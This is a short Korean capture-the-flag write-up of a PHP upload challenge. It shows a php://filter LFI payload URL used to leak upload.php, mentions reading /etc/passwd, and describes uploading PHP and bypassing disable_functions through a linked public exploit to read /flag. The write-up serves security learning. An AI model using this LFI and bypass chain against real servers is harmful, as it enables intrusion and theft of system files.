가장 어려웠던 문제다. ctf 시간의 거의 절반이상을 썼는데도 풀지 못했고 푼 사람은 우리팀 에이스 한명뿐이었다... 단순해 보이는 문제지만 절대 단순하지않다.
업로드 취약점을 이용하는 문제라고 유추할 수 있다.
사진을 업로드하니 암호화된 경로에 저장이된다.
소스코드를 보니 file 파라미터를 받아서 include해주는 기능이 있다. 여기서 LFI 취약점을 생각해볼 수 있다. 그렇다면 upload.php를 빼낼수 있지 않을까?
http://ctf-hackingcamp.com:32001/?file=php://filter/convert.base64-encode/resource=upload.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>simple_php</title>
</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" name="submit" value="submit">
</form>
</body>
</html>
<?php
if (isset($_POST["submit"])) {
$upload_dir = '/var/www/html/uploads/';
$filename = md5(random_bytes(30));
$upload_file = $upload_dir . $filename;
if ($_FILES['file']['size'] > 500000) {
die('file is too large. only <500kb is allowed');
}
if (move_uploaded_file($_FILES['file']['tmp_name'], $upload_file)) {
echo 'upload success <a href="/uploads/' . $filename . '">file</a>';
} else {
echo 'upload failed';
}
}
경로는 랜덤값이라 어떻게 할 방법이 없다. php코드에 별 취약점이 발생하지 않는것 같다.
/etc/passwd도 가능했지만 별 정보가 없다.
여러가지 해보다가 이상한점이 있었다. php코드를 업로드해서 열면 php코드가 실행되는데 간단한 echo 1; 같은것들은 출력이 되는데 exec, system같은 메쏘드를 쓰면 출력이 안된다. 그래서 phpinfo()를 알아보았다.
disable 걸어놓은 함수가 무지막지하게 많다...
이 disable function들을 우회할 수가 있다고 한다. 이건 전혀 몰랐다.
https://github.com/mm0r1/exploits/blob/master/php-concat-bypass/exploit.php
코드를 이용해서 /flag를 해주면
solved
역시 깃헙은 정보의 바다...